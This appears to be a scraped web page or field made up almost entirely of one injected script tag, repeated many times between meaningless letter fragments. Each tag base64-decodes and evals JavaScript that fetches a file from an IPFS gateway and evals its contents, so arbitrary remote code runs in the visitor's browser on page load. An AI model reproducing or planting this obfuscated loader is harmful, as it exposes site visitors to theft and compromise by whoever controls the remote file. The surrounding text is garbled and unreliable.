<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>